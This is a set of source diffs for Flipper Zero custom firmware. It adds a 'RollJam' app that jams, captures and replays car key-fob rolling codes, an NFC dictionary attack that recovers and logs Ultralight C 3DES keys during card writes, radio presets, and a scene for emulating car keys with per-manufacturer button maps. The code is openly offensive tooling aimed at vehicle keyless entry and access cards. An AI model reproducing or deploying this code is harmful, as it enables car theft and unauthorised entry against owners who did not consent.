static uint8_t get_min_offset_index(uint8_t mod_index) {
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
return JamOffIndex_300k;
}
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(app->jam_offset_index < min_idx) {
app->jam_offset_index = min_idx;
app->jam_offset_hz = jam_offset_values[min_idx];
if(offset_item) {
variable_item_set_current_value_index(offset_item, min_idx);
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
}
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
jam_offset_names[min_idx]);
}
}
static VariableItem* s_offset_item = NULL;
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
enforce_min_offset(app, s_offset_item);
}
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(index < min_idx) {
index = min_idx;
variable_item_set_current_value_index(item, index);
}
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_hw_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->hw_index = index;
variable_item_set_current_value_text(item, hw_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 4) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
@@ -72,12 +97,17 @@ void rolljam_scene_menu_on_enter(void* context) {
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
// --- Jam Offset ---
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
s_offset_item = offset_item;
enforce_min_offset(app, offset_item);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
@@ -111,8 +141,9 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
// Clear previous captures
memset(&app->signal_first, 0, sizeof(RawSignal));
enforce_min_offset(app, NULL);
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
@@ -125,5 +156,6 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
s_offset_item = NULL;
variable_item_list_reset(app->var_item_list);
}
@@ -48,7 +48,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
// Save to .sub file
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
@@ -68,7 +68,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
return true;
} else if(event.event == RollJamEventReplayNow) {
// Show sending screen
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
@@ -79,7 +79,6 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
// Transmit second signal
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);
@@ -14,7 +14,9 @@ enum {
SubmenuIndexUnlock = SubmenuIndexCommonMax,
SubmenuIndexUnlockByReader,
SubmenuIndexUnlockByPassword,
SubmenuIndexDictAttack
SubmenuIndexDictAttack,
SubmenuIndexWriteKeepKey, // ULC: write data pages, keep target card's existing key
SubmenuIndexWriteCopyKey, // ULC: write all pages including key from source card
};
enum {
@@ -214,8 +216,26 @@ static void nfc_scene_read_and_saved_menu_on_enter_mf_ultralight(NfcApp* instanc
if(is_locked ||
(data->type != MfUltralightTypeNTAG213 && data->type != MfUltralightTypeNTAG215 &&
data->type != MfUltralightTypeNTAG216 && data->type != MfUltralightTypeUL11 &&
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin)) {
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin &&
data->type != MfUltralightTypeMfulC)) {
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
} else if(data->type == MfUltralightTypeMfulC) {
// Replace the generic Write item with two ULC-specific options so the user
// can choose whether to keep or overwrite the target card's 3DES key.
// This avoids any mid-write dialog/view-switching complexity entirely.
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
submenu_add_item(
submenu,
"Write (Keep Key)",
SubmenuIndexWriteKeepKey,
nfc_protocol_support_common_submenu_callback,
instance);
submenu_add_item(
submenu,
"Write (Copy Key)",
SubmenuIndexWriteCopyKey,
nfc_protocol_support_common_submenu_callback,
instance);
}
if(is_locked) {
@@ -291,6 +311,14 @@ static bool nfc_scene_read_and_saved_menu_on_event_mf_ultralight(
scene_manager_next_scene(instance->scene_manager, NfcSceneMfUltralightCDictAttack);
}
consumed = true;
} else if(event.event == SubmenuIndexWriteKeepKey) {
instance->mf_ultralight_c_write_context.copy_key = false;
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
consumed = true;
} else if(event.event == SubmenuIndexWriteCopyKey) {
instance->mf_ultralight_c_write_context.copy_key = true;
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
consumed = true;
}
}
return consumed;
@@ -307,12 +335,139 @@ static NfcCommand
if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestMode) {
mf_ultralight_event->data->poller_mode = MfUltralightPollerModeWrite;
furi_string_reset(instance->text_box_store);
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
}
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventCardDetected);
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeAuthRequest) {
// Skip auth during the read phase of write - we'll authenticate
// against the target card in RequestWriteData using source key or dict attack
mf_ultralight_event->data->auth_context.skip_auth = true;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestKey) {
// Dict attack key provider - user dict first, then system dict
if(!instance->mf_ultralight_c_dict_context.dict &&
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictIdle) {
if(keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH,
KeysDictModeOpenExisting,
sizeof(MfUltralightC3DesAuthKey));
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictUser;
}
if(!instance->mf_ultralight_c_dict_context.dict) {
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
KeysDictModeOpenExisting,
sizeof(MfUltralightC3DesAuthKey));
instance->mf_ultralight_c_write_context.dict_state =
NfcMfUltralightCWriteDictSystem;
}
}
MfUltralightC3DesAuthKey key = {};
bool got_key = false;
if(instance->mf_ultralight_c_dict_context.dict) {
got_key = keys_dict_get_next_key(
instance->mf_ultralight_c_dict_context.dict,
key.data,
sizeof(MfUltralightC3DesAuthKey));
}
if(!got_key &&
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictUser) {
// Exhausted user dict, switch to system dict
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
}
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
KeysDictModeOpenExisting,
sizeof(MfUltralightC3DesAuthKey));
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictSystem;
if(instance->mf_ultralight_c_dict_context.dict) {
got_key = keys_dict_get_next_key(
instance->mf_ultralight_c_dict_context.dict,
key.data,
sizeof(MfUltralightC3DesAuthKey));
}
}
if(got_key) {
mf_ultralight_event->data->key_request_data.key = key;
mf_ultralight_event->data->key_request_data.key_provided = true;
FURI_LOG_D(
"MfULC",
"Trying dict key: "
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
key.data[0],
key.data[1],
key.data[2],
key.data[3],
key.data[4],
key.data[5],
key.data[6],
key.data[7],
key.data[8],
key.data[9],
key.data[10],
key.data[11],
key.data[12],
key.data[13],
key.data[14],
key.data[15]);
} else {
mf_ultralight_event->data->key_request_data.key_provided = false;
FURI_LOG_D("MfULC", "Dict exhausted - no more keys");
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
}
instance->mf_ultralight_c_write_context.dict_state =
NfcMfUltralightCWriteDictExhausted;
}
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestWriteData) {
mf_ultralight_event->data->write_data =
nfc_device_get_data(instance->nfc_device, NfcProtocolMfUltralight);
// Reset dict context so RequestKey starts fresh for the write-phase auth
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
}
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteKeyRequest) {
// Apply the user's key choice - read from static, not scene state (scene manager
// resets state to 0 on scene entry, wiping any value set before next_scene).
bool keep_key = !instance->mf_ultralight_c_write_context.copy_key;
mf_ultralight_event->data->write_key_skip = keep_key;
if(mf_ultralight_event->data->key_request_data.key_provided) {
MfUltralightC3DesAuthKey found_key = mf_ultralight_event->data->key_request_data.key;
FURI_LOG_D(
"MfULC",
"WriteKeyRequest: target key = "
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
found_key.data[0],
found_key.data[1],
found_key.data[2],
found_key.data[3],
found_key.data[4],
found_key.data[5],
found_key.data[6],
found_key.data[7],
found_key.data[8],
found_key.data[9],
found_key.data[10],
found_key.data[11],
found_key.data[12],
found_key.data[13],
found_key.data[14],
found_key.data[15]);
}
FURI_LOG_D(
"MfULC",
"WriteKeyRequest: decision = %s (copy_key=%d)",
keep_key ? "KEEP target key (pages 44-47 NOT written)" :
"OVERWRITE with source key (pages 44-47 WILL be written)",
(int)instance->mf_ultralight_c_write_context.copy_key);
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeCardMismatch) {
furi_string_set(instance->text_box_store, "Card of the same\ntype should be\n presented");
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventWrongCard);
@@ -323,6 +478,7 @@ static NfcCommand
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
command = NfcCommandStop;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteFail) {
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
command = NfcCommandStop;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteSuccess) {
furi_string_reset(instance->text_box_store);
@@ -334,9 +490,18 @@ static NfcCommand
}
static void nfc_scene_write_on_enter_mf_ultralight(NfcApp* instance) {
// Free any dict the write callback opened (dict_state != Idle means we own it).
// After a DictAttack scene, on_exit now NULLs the pointer so a simple NULL check
// is safe here too — but the state enum is the authoritative ownership record.
if(instance->mf_ultralight_c_write_context.dict_state != NfcMfUltralightCWriteDictIdle &&
instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
}
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
furi_string_set(instance->text_box_store, "\nApply the\ntarget\ncard now");
instance->poller = nfc_poller_alloc(instance->nfc, NfcProtocolMfUltralight);
nfc_poller_start(instance->poller, nfc_scene_write_poller_callback_mf_ultralight, instance);
furi_string_set(instance->text_box_store, "Apply the initial\ncard only");
}
const NfcProtocolSupportBase nfc_protocol_support_mf_ultralight = {
+13
View File
@@ -126,6 +126,18 @@ typedef struct {
size_t dict_keys_current;
} NfcMfUltralightCDictContext;
typedef enum {
NfcMfUltralightCWriteDictIdle, /**< No dict open; safe to open either dict. */
NfcMfUltralightCWriteDictUser, /**< User dict currently open. */
NfcMfUltralightCWriteDictSystem, /**< System dict currently open. */
NfcMfUltralightCWriteDictExhausted, /**< All dicts tried; do not re-open. */
} NfcMfUltralightCWriteDictState;
typedef struct {
bool copy_key; /**< True = overwrite target 3DES key with source key pages. */
NfcMfUltralightCWriteDictState dict_state; /**< Which dict is open for write-phase auth. */
} NfcMfUltralightCWriteContext;
struct NfcApp {
DialogsApp* dialogs;
Storage* storage;
@@ -165,6 +177,7 @@ struct NfcApp {
SlixUnlock* slix_unlock;
NfcMfClassicDictAttackContext nfc_dict_context;
NfcMfUltralightCDictContext mf_ultralight_c_dict_context;
NfcMfUltralightCWriteContext mf_ultralight_c_write_context;
Mfkey32Logger* mfkey32_logger;
MfUserDict* mf_user_dict;
MfClassicKeyCache* mfc_key_cache;
@@ -77,6 +77,15 @@ void nfc_scene_mf_ultralight_c_dict_attack_prepare_view(NfcApp* instance) {
// Set attack type to Ultralight C
dict_attack_set_type(instance->dict_attack, DictAttackTypeMfUltralightC);
// Guard: if a previous write phase left a dict handle open, close it now.
// Without this, navigating write->back->read->dict-attack would open the same
// file twice, corrupting VFS state and causing a ViewPort lockup.
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
}
if(state == DictAttackStateUserDictInProgress) {
do {
if(!keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
@@ -167,6 +176,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
nfc_poller_stop(instance->poller);
nfc_poller_free(instance->poller);
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
scene_manager_set_scene_state(
instance->scene_manager,
NfcSceneMfUltralightCDictAttack,
@@ -199,6 +209,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
nfc_poller_stop(instance->poller);
nfc_poller_free(instance->poller);
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
scene_manager_set_scene_state(
instance->scene_manager,
NfcSceneMfUltralightCDictAttack,
@@ -230,6 +241,7 @@ void nfc_scene_mf_ultralight_c_dict_attack_on_exit(void* context) {
NfcSceneMfUltralightCDictAttack,
DictAttackStateUserDictInProgress);
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_dict_context.dict_keys_total = 0;
instance->mf_ultralight_c_dict_context.dict_keys_current = 0;
instance->mf_ultralight_c_dict_context.auth_success = false;
@@ -58,11 +58,16 @@ typedef enum {
SubGhzCustomEventViewTransmitterSendStart,
SubGhzCustomEventViewTransmitterSendStop,
SubGhzCustomEventViewTransmitterError,
SubGhzCustomEventViewTransmitterPageChange,
SubGhzCustomEventViewFreqAnalOkShort,
SubGhzCustomEventViewFreqAnalOkLong,
SubGhzCustomEventByteInputDone,
SubGhzCustomEventCarEmulateTransmit,
SubGhzCustomEventCarEmulateStop,
SubGhzCustomEventCarEmulateExit,
} SubGhzCustomEvent;
typedef enum {
@@ -93,6 +93,8 @@ typedef enum {
SubGhzViewIdFrequencyAnalyzer,
SubGhzViewIdReadRAW,
SubGhzViewIdPsaDecrypt,
SubGhzViewIdKeeloqDecrypt,
SubGhzViewIdCarEmulate,
} SubGhzViewId;
@@ -0,0 +1,131 @@
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
Filetype: Flipper SubGhz Setting File
Version: 1
# Add Standard frequencies included with firmware and place user frequencies after them
#Add_standard_frequencies: false
# Default Frequency: used as default for "Read" and "Read Raw"
#Default_frequency: 433920000
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
Frequency: 300000000
Frequency: 302757000
Frequency: 303000000
Frequency: 303875000
Frequency: 303900000
Frequency: 304250000
Frequency: 307000000
Frequency: 307500000
Frequency: 307800000
Frequency: 309000000
Frequency: 310000000
Frequency: 312000000
Frequency: 312100000
Frequency: 312200000
Frequency: 313000000
Frequency: 313850000
Frequency: 314000000
Frequency: 314350000
Frequency: 314980000
Frequency: 315000000
Frequency: 318000000
Frequency: 320000000
Frequency: 320150000
Frequency: 330000000
Frequency: 345000000
Frequency: 348000000
Frequency: 350000000
Frequency: 387000000
Frequency: 390000000
Frequency: 418000000
Frequency: 430000000
Frequency: 430500000
Frequency: 431000000
Frequency: 431500000
Frequency: 433075000
Frequency: 433220000
Frequency: 433420000
Frequency: 433657070
Frequency: 433880000
Frequency: 433889000
Frequency: 433900000
Frequency: 433910000
Frequency: 433920000
Frequency: 433930000
Frequency: 433940000
Frequency: 433950000
Frequency: 433960000
Frequency: 434075000
Frequency: 434176948
Frequency: 434190000
Frequency: 434390000
Frequency: 434420000
Frequency: 434620000
Frequency: 434775000
Frequency: 438900000
Frequency: 440175000
Frequency: 462750000
Frequency: 464000000
Frequency: 467750000
Frequency: 779000000
Frequency: 868350000
Frequency: 868400000
Frequency: 868460000
Frequency: 868800000
Frequency: 868950000
Frequency: 906400000
Frequency: 915000000
Frequency: 925000000
Frequency: 928000000
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
Hopper_frequency: 315000000
Hopper_frequency: 433920000
Hopper_frequency: 434420000
Hopper_frequency: 868350000
# Presets used for preset hopping mode (cycles through these modulations)
Hopping_Preset: AM650
Hopping_Preset: FM476
Hopping_Preset: FM95
# Custom preset
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
Custom_preset_name: OOK_LR
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 00 00 00 C0 00 00 00 00 00 00
Custom_preset_name: OOK_U
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 17 0C 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 2C 81 2D 35 2E 09 00 00 00 C0 00 00 00 00 00 00
Custom_preset_name: AM_1
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 C9 11 F8 12 30 14 00 15 14 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 55 22 00 00 00 00 C0 00 00 00 00 00 00
Custom_preset_name: FSK_1
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 0C 10 C7 11 93 12 00 13 22 14 F8 15 35 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 12 0E 1D 34 60 84 C8 C0
Custom_preset_name: F3
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 06 0C 00 0D 10 0D 0D 10 C5 11 83 12 80 13 22 14 F8 15 42 16 07 17 30 18 18 19 1D 1A 1C 1B 43 1C 40 1D 91 20 FB 21 B6 22 00 23 E9 24 2A 25 00 26 1F 2C 81 2D 35 2E 09 00 00 12 0E 1D 34 60 84 C8 C0
Custom_preset_name: FM95
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 67 11 83 12 04 13 02 15 24 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
Custom_preset_name: FM15k
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 06 10 A7 11 32 12 00 13 00 14 00 15 32 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 00 12 0E 34 60 C5 C1 C0
Custom_preset_name: Honda1
Custom_preset_module: CC1101
# G2 G3 G4 D L0 L1 L2
Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 36 10 69 15 32 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00
Custom_preset_name: Honda2
Custom_preset_module: CC1101
# G2 G3 G4 D L0 L1 L2
Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 07 11 36 10 E9 15 32 18 18 19 16 1D 92 1C 40 1B 03 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00
@@ -1,47 +0,0 @@
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
Filetype: Flipper SubGhz Setting File
Version: 1
# Add Standard frequencies included with firmware and place user frequencies after them
#Add_standard_frequencies: true
# Default Frequency: used as default for "Read" and "Read Raw"
#Default_frequency: 433920000
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
#Frequency: 300000000
#Frequency: 310000000
#Frequency: 320000000
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
#Hopper_frequency: 300000000
#Hopper_frequency: 310000000
#Hopper_frequency: 310000000
# Custom preset
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
#Custom_preset_name: FM95
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 83 10 67 15 24 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00
#2-FSK 200khz BW / 135kHz Filter/ 15.86Khz Deviation + Ramping
#Custom_preset_name: FM15k
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 47 08 32 0B 06 15 32 14 00 13 00 12 00 11 32 10 A7 18 18 19 1D 1D 92 1C 00 1B 04 20 FB 22 17 21 B6 00 00 00 12 0E 34 60 C5 C1 C0
#Custom_preset_name: Pagers
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
#Custom_preset_name: AM_1
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
#Custom_preset_name: AM_2
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
# Presets used for preset hopping mode (cycles through these modulations)
#Hopping_Preset: AM650
#Hopping_Preset: FM238
#Hopping_Preset: FM476
@@ -0,0 +1,499 @@
/**
* Scene: CarEmulate
* Custom automotive-key emulation GUI ported from ProtoPirate.
* Activated when SubGhzLastSettings::custom_car_emulate == true and the
* user presses "Emulate" on a saved dynamic protocol.
*
* Flow:
* SavedMenu → Emulate → (custom_car_emulate?) CarEmulate : Transmitter
*/
#include "../subghz_i.h"
#include "../views/subghz_car_emulate.h"
#include "../helpers/subghz_custom_event.h"
#include <lib/subghz/blocks/generic.h>
#include <notification/notification_messages.h>
#include "../helpers/subghz_txrx_i.h"
#include <lib/subghz/blocks/custom_btn_i.h>
#define TAG "SubGhzSceneCarEmulate"
#define MIN_TX_TICKS 66U /* ~666 ms at 100 ms tick */
/* ── Per-session state (heap, freed on exit) ─────────────────────────────── */
typedef struct {
/* Signal metadata read from fff_data */
char protocol_name[48];
uint32_t serial;
uint8_t original_button;
uint32_t original_counter;
uint32_t current_counter;
uint32_t freq;
char preset_short[12]; /* "AM650", "FM476", … */
/* TX state */
bool is_transmitting;
bool stop_pending; /* stop requested before MIN_TX_TICKS elapsed */
uint32_t tx_start_tick;
/* Pending button key (InputKey) decoded from the packed custom event */
uint8_t pending_button;
} CarEmulateState;
static CarEmulateState* s_state = NULL;
/* ═══════════════════════════════════════════════════════════════════════════
* Button mapping (protocol-name → InputKey → button byte)
* Ported verbatim from protopirate_scene_emulate.c
* ═════════════════════════════════════════════════════════════════════════*/
//static uint8_t car_emulate_map_button(
// const char* protocol,
// InputKey key,
// uint8_t original) {
/* Land Rover V0 */
// if(strstr(protocol, "Land Rover")) {
// switch(key) {
// case InputKeyUp: return 0x02; /* Lock */
// case InputKeyOk: return 0x04; /* Unlock */
// default: return original;
// }
// }
/* Mazda */
// if(strstr(protocol, "Mazda")) {
// switch(key) {
// case InputKeyUp: return 0x01;
// case InputKeyOk: return 0x02;
// case InputKeyDown: return 0x04;
// case InputKeyRight: return 0x08;
// default: return original;
// }
// }
/* PSA */
// if(strstr(protocol, "PSA")) {
// switch(key) {
// case InputKeyUp: return 0x1;
// case InputKeyOk: return 0x2;
// case InputKeyDown: return 0x4;
// case InputKeyLeft: return 0x8;
// default: return original;
// }
// }
/* VAG */
// if(strstr(protocol, "VAG")) {
// if(original == 0x10 || original == 0x20 || original == 0x40) {
// switch(key) {
// case InputKeyUp: return 0x20;
// case InputKeyOk: return 0x10;
// case InputKeyDown: return 0x40;
// default: return original;
// }
// }
// switch(key) {
// case InputKeyUp: return 0x2;
// case InputKeyOk: return 0x1;
// case InputKeyDown: return 0x4;
// case InputKeyLeft: return 0x8;
// case InputKeyRight: return 0x3;
// default: return original;
// }
// }
/* Honda Static */
// if(strstr(protocol, "Honda Static")) {
// switch(key) {
// case InputKeyUp: return 0x1;
// case InputKeyOk: return 0x2;
// case InputKeyDown: return 0x4;
// case InputKeyRight: return 0x5;
// case InputKeyLeft: return 0x8;
// default: return original;
// }
// }
/* Ford */
// if(strstr(protocol, "Ford")) {
// switch(key) {
// case InputKeyLeft: return 0x1;
// case InputKeyUp: return 0x2;
// case InputKeyOk: return 0x4;
// case InputKeyDown: return 0x8;
// case InputKeyRight: return 0x10;
// default: return original;
// }
// }
/* Chrysler */
// if(strstr(protocol, "Chrysler")) {
// switch(key) {
// case InputKeyUp: return 0x1;
// case InputKeyOk: return 0x2;
// default: return original;
// }
// }
/* Subaru */
// if(strstr(protocol, "Subaru")) {
// switch(key) {
// case InputKeyUp: return 0x1;
// case InputKeyOk: return 0x2;
// case InputKeyDown: return 0x3;
// case InputKeyLeft: return 0x4;
// case InputKeyRight: return 0x8;
// default: return original;
// }
// }
/* Fiat V1 */
// if(strstr(protocol, "Fiat V1")) {
// switch(key) {
// case InputKeyUp: return 0x8;
// case InputKeyOk: return 0x0;
// case InputKeyDown: return 0xD;
// default: return original;
// }
// }
/* Generic KeeLoq / KIA etc. simple 4-button layout */
// if(strstr(protocol, "Kia") || strstr(protocol, "KIA") ||
// strstr(protocol, "KeeLoq") || strstr(protocol, "Keeloq")) {
// switch(key) {
// case InputKeyUp: return 0x1;
// case InputKeyOk: return 0x2;
// case InputKeyDown: return 0x3;
// case InputKeyLeft: return 0x4;
// case InputKeyRight: return 0x8;
// default: return original;
// }
// }
// return original;
//}
/* ═══════════════════════════════════════════════════════════════════════════
* TX helpers
* ═════════════════════════════════════════════════════════════════════════*/
/**
* Read frequency and short preset name from fff_data.
* Falls back to 433.92 MHz / "AM650" on failure.
*/
static void car_emulate_read_freq_preset(SubGhz* subghz, CarEmulateState* st) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
st->freq = 433920000UL;
strncpy(st->preset_short, "AM650", sizeof(st->preset_short) - 1);
if(!fff) return;
uint32_t freq = 0;
flipper_format_rewind(fff);
if(flipper_format_read_uint32(fff, "Frequency", &freq, 1) && freq > 0) {
st->freq = freq;
}
FuriString* preset_str = furi_string_alloc();
flipper_format_rewind(fff);
if(flipper_format_read_string(fff, "Preset", preset_str)) {
/* Convert long FuriHal name → short token used by the setting */
const char* raw = furi_string_get_cstr(preset_str);
const char* short_name = "AM650";
if(strstr(raw, "Ook270")) short_name = "AM270";
else if(strstr(raw, "Ook650")) short_name = "AM650";
else if(strstr(raw, "238")) short_name = "FM238";
else if(strstr(raw, "12K")) short_name = "FM12K";
else if(strstr(raw, "476")) short_name = "FM476";
else if(strstr(raw, "Custom")) short_name = "CUST";
strncpy(st->preset_short, short_name, sizeof(st->preset_short) - 1);
}
furi_string_free(preset_str);
}
/** Update Btn and Cnt fields in fff_data so the transmitter re-serialises them. */
static void car_emulate_apply_button(SubGhz* subghz, InputKey key) {
UNUSED(subghz);
uint8_t custom_btn_id;
switch(key) {
